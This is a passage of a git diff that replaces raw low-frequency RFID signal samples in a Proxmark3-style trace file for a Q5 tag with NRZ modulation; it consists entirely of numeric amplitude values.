+4 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-11 +-11 +-101 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-110 +-103 +-111 +-104 +-99 +-78 +-89 +-67 +-80 +-76 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +121 +109 +100 +94 +89 +86 82 +78 +74 +71 +66 +62 +56 +51 +-49 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-106 +-99 +-109 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +98 +87 +80 +75 +71 +69 +65 +63 +60 +57 +54 +50 +45 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-111 +92 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +88 +80 +75 +71 +68 +65 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-110 +91 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +86 +80 +75 +70 +68 diff --git a/traces/lf_Q5_mod-nrz.pm3 b/traces/lf_Q5_mod-nrz.pm3 index faf35961e..16c550372 100644 --- a/traces/lf_Q5_mod-nrz.pm3 +++ b/traces/lf_Q5_mod-nrz.pm3 @@ -1,24000 +1,24000 @@ -1 -1 -1 -0 -1 -2 -3 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -0 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -1 -2 -1 -2 -2 -1 -1 -2 -1 -1 -0 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -130 -125 -122 -118 -114 -109 -104 -99 -93 -86 -80 -73 -68 -62 -57 -52 -47 -43 -40 -36 -34 -31 -29 -26 -25 -23 -21 -20 -18 -16 -15 -14 -13 -12 -11 -10 -10 -9 -8 -7 -6 -6 -5 -4 -4 -3 -3 -2 -2 -1 -1 -1 -1 -0 -0 -0 -0 -0 -0 --1 --1 --1 --1 --2 --2 --2 --2 --2 --3 --3 --3 --3 --2 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --3 --4 --4 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --3 --4 --3 --3 --3 --84 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --95 --90 --66 --77 --56 --68 --63 --58 --54 --51 --48 --44 --42 --39 --37 --33 --32 --30 --28 --25 --23 --22 --21 --19 --17 --16 --15 +-13 +-13 +-13 -14 -13 -12 -11 --11 --10 --9 --9 --8 --7 --6 --6 --6 --5 --5 --4 --4 --4 --4 --3 --3 --2 --2 --2 --2 --2 --1 --1 --2 --1 --1 -0 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -2 -1 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -0 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -130 -124 -122 -118 -114 -110 -104 -98 -92 -85 -80 -73 -67 -62 -56 -51 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -22 -20 -18 -17 -16 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -4 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --93 --86 --65 --77 --56 --66 --63 --59 --56 --53 --48 --44 --42 --40 --37 --34 --31 --30 --28 --25 --24 --22 --20 --19 --18 --17 --15 --14 +-12 +-12 +-12 +-12 +-12 +-12 -13 -12 -12 --11 --10 --9 --9 --8 --8 --7 --6 --6 --5 --4 --4 --4 --3 --3 --2 --3 --2 --2 --2 --1 --2 --2 --2 --1 --1 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -0 -1 -1 -1 -1 -0 -0 -0 -0 -1 -0 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -2 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -1 -2 -0 -0 -0 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -1 -1 -2 -1 -1 -0 -1 -1 -1 -0 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -2 -2 -2 -2 -2 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -1 -0 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -2 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -1 -2 -1 -1 -2 -2 -2 -2 -2 -2 -2 -3 -2 -1 -1 -2 -2 -2 -1 -2 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -1 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -129 -124 -122 -118 -114 -109 -104 -98 -93 -86 -80 -72 -67 -60 -56 -51 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -22 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 -4 --78 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --85 --95 --87 --66 --76 --56 --67 --62 --58 --55 --51 --48 --44 --42 --39 --36 --34 --31 --29 --27 --25 --23 --22 --20 --19 --18 --17 --15 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-12 +-13 +-14 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 -14 -14 -13 --11 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -132 -126 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 122 -119 -115 +116 111 -106 -102 -96 -91 -84 -78 -72 -66 -60 -55 -50 -46 -43 -39 -36 -33 -30 -28 -26 -24 -22 -20 -19 -17 -16 -14 -13 -13 -12 -11 -10 -8 -8 -6 -6 -5 -4 -4 -4 -3 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --90 --84 --94 --88 --66 --76 --55 --67 --63 --58 --55 --51 --48 --44 --41 --38 --36 --34 --31 --29 --28 --26 --24 --22 --21 --20 --18 --17 --16 --15 --14 --12 --11 --10 --9 --8 --8 --7 --7 --6 --6 --6 --6 --5 --4 --4 --4 --3 --3 --3 --2 --2 --2 --2 --2 --2 --2 --2 --1 --1 -0 --1 -0 -0 -0 -0 -0 -0 -0 -0 -0 -0 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -0 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -0 -0 -0 -0 -2 -1 -1 -0 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -0 -0 -0 -0 -0 -1 -2 -2 -3 -2 -2 -2 -2 -2 -2 -1 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -2 -1 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -129 -124 -122 -118 -114 -109 +108 104 -98 -92 -86 -80 -73 -67 -61 -56 -51 -47 -43 -39 -36 -33 -31 -29 -27 -25 -23 -21 -19 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -5 -4 -4 -3 -3 -2 -2 -1 -1 -1 -1 -0 -0 -0 --1 --1 --1 --1 --2 --2 --2 --2 --2 --2 --1 --2 --2 --2 --2 --2 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --4 --4 --4 --4 --3 --4 --3 --4 --3 --4 --4 --4 --3 --4 --3 --3 --3 --3 --3 --3 --4 --84 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --94 --87 --66 --78 --57 --67 --63 --59 --56 --51 --47 --45 --42 --39 --36 --34 --32 --30 --27 --25 --23 --22 --20 --19 --18 --17 --16 --15 --14 --13 --12 --11 --10 --9 --8 --8 --7 --7 --6 --5 --5 --4 --4 --4 --4 --4 --3 --3 --3 --2 --2 --2 --2 --2 --1 --1 --1 --1 --1 --1 -0 -0 -0 -1 -1 -1 -1 -0 -1 -0 -0 -0 -0 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -1 -2 -1 -2 -1 -1 -2 -2 -1 -2 -1 -2 -1 -1 -2 -2 -0 -0 -1 -1 -0 -0 -1 -2 -2 -2 -2 -3 -3 -2 -2 -2 -2 -1 -0 -1 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -1 -2 -2 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -2 -1 -2 -1 -1 -2 -1 -1 -2 -2 -2 -1 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -1 -1 -2 -2 -1 -2 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -131 -126 -122 -118 -114 -109 -104 -98 -92 +100 +95 +90 85 79 -73 -67 -62 -57 -52 -47 -43 -40 -37 -34 -31 -29 -26 -25 -23 -21 -19 -18 -17 -15 -14 -12 -11 -11 -9 -9 -8 -7 -7 -6 -5 -5 -4 -4 -3 -3 -2 -1 -1 -1 -0 -0 -0 -0 -0 -0 -0 -0 --1 --1 --1 --1 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --2 --3 --3 --3 --3 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --2 --3 --2 --2 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --3 --2 --2 --3 --2 --2 --3 --2 --3 --3 --3 --3 --4 --3 --4 --4 --4 --4 --4 --4 --3 --3 --4 --3 --3 --3 --3 --3 --3 --3 --3 --3 --4 --3 --3 --3 --3 --3 --3 --3 --4 --4 --4 --4 --4 --4 --4 --3 --3 --3 --4 --3 --84 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --95 --88 --83 --78 --57 --67 --63 --59 --56 --51 --48 --45 --42 --40 --36 --34 --32 --30 --28 --25 --24 --22 --20 --19 --18 --17 --16 --14 --13 --13 --11 --10 --9 --9 --8 --7 --7 --7 --6 --6 --5 --5 --5 --4 --3 --3 --3 --3 --2 --2 --2 --2 --2 --1 --1 --1 --1 -0 -0 --1 -0 -0 -0 -0 -0 --1 -0 -0 -0 -0 -1 -1 -1 -0 -1 -1 -1 -0 -0 -1 -1 -0 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -1 -0 -0 -2 -2 -1 -0 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -2 -2 -1 -2 -2 -1 -2 -1 -2 -2 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -1 -1 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -128 -124 -121 -117 -114 -109 -104 -98 -93 -85 -80 -73 -67 -61 -56 -51 +72 +66 +59 +54 48 43 -40 -37 -34 -32 -30 -27 -25 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -5 -4 -4 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --98 --91 --84 --93 --87 --66 --77 --55 --66 --62 --58 --54 --50 --48 --44 --41 --39 --36 --34 --32 --29 --28 --26 --24 --22 --21 --20 --18 --17 --16 --15 --14 --13 --11 --11 --10 --9 --8 --8 --7 --7 --6 --6 --6 --6 --5 --5 --4 --4 --3 --3 --2 --2 --2 --2 --1 --1 -0 --1 -0 -0 -0 --1 --1 -0 -0 -0 -0 -0 -1 -0 -0 -0 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -2 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -0 -0 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -1 -1 -1 -2 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -0 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -2 -1 -1 -2 -1 -0 -0 -1 -1 -1 -1 -2 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -0 -1 -1 -1 -1 -1 -2 -2 -1 -1 -2 -2 -1 -1 -1 -2 -1 -1 -1 -1 -2 -1 -1 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -2 -1 -2 -2 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -2 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -129 -124 -122 -118 -115 -110 -105 -98 -93 -86 -80 -73 -67 -61 -56 -51 -47 -43 -40 -37 -34 -31 +38 +33 29 -27 26 -23 22 20 -18 17 -16 -14 -14 +15 12 -12 -10 +11 9 -8 7 6 -6 -5 4 -4 -3 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --93 --87 --66 +2 +1 +0 +-1 +-2 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-11 +-12 +-12 +-13 +-13 +-13 +-13 +-14 +-14 +-14 +-14 +-14 +-14 +-15 +-15 +-15 +-15 +-16 +-16 +-16 +-16 +-16 +-17 +-17 +-17 +-17 +-16 +-16 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-17 +-18 +-18 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-17 +-18 +-17 +-18 +-17 +-17 +-17 +-98 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-107 +-100 +-109 +-104 +-80 +-91 +-70 +-82 -77 --55 --66 +-72 +-68 +-65 -62 --59 --55 +-58 +-56 +-53 -51 -47 --44 --42 --40 --36 --34 --32 --30 --28 --25 --23 --22 --20 --19 --18 --17 --16 --14 --13 --12 --12 --11 --9 --9 --9 --8 --8 --7 --6 --6 --5 --4 --4 --4 --4 --3 --3 --3 --3 --2 --2 --2 --2 --2 --1 --1 --1 --1 -0 -0 -0 --1 -0 -0 -0 -0 -0 -0 -0 -1 -1 -0 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -0 -0 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -130 -124 -121 -117 -114 -109 -103 -97 -92 -85 -80 -73 -67 -61 -56 -51 -47 -43 -40 -37 -34 -32 -29 -27 -25 -23 -21 -19 -18 -16 -15 -14 -13 -12 -12 -10 -9 -8 -7 -7 -6 -5 -4 -4 -3 --79 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --92 --85 --95 --88 --65 --76 --56 --68 --62 --58 --54 --51 --48 +-46 -44 -42 -39 +-37 -36 --34 +-35 +-33 -31 +-30 -29 +-28 -27 +-26 -25 +-25 +-24 -23 +-23 +-22 -21 -20 +-20 +-20 -19 +-19 +-18 +-18 +-18 +-18 +-17 -17 -16 -16 +-16 +-16 +-16 +-15 +-15 +-16 +-15 -15 -14 +-15 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-14 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 -12 -12 --11 --10 --9 --8 --8 --7 --6 --6 --6 --5 --5 --5 --5 --4 --3 --3 --3 --2 --2 --1 --2 --2 --2 --1 --1 --2 --2 --1 -0 -0 --1 -0 -0 -0 --1 -0 --2 -0 -0 -0 --1 -0 -0 -1 -0 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -3 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -1 -1 -1 -1 -1 -1 -1 -2 -1 -1 -1 -1 -2 -2 -2 -2 -2 -1 -1 -0 -1 -1 -1 -2 -1 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1 -1 -2 -2 -2 -2 -2 -2 -2 -2 -2 -1 -1 -1 -2 -1 -1 -1 -2 -1 -1 -1 -2 -2 -1 -1 -1 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -130 -125 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-13 +-13 +-12 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-14 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-13 +-13 +-12 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-13 +-13 +-12 +-13 +-13 +-13 +-13 +-13 +-13 +-12 +-12 +-12 +-13 +-12 +-12 +-13 +-12 +-13 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +-12 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 122 -118 -114 +116 110 -105 -98 -93 -86 -80 -74 -68 -62 -57 -52 +108 +104 +100 +96 +90 +84 +78 +71 +66 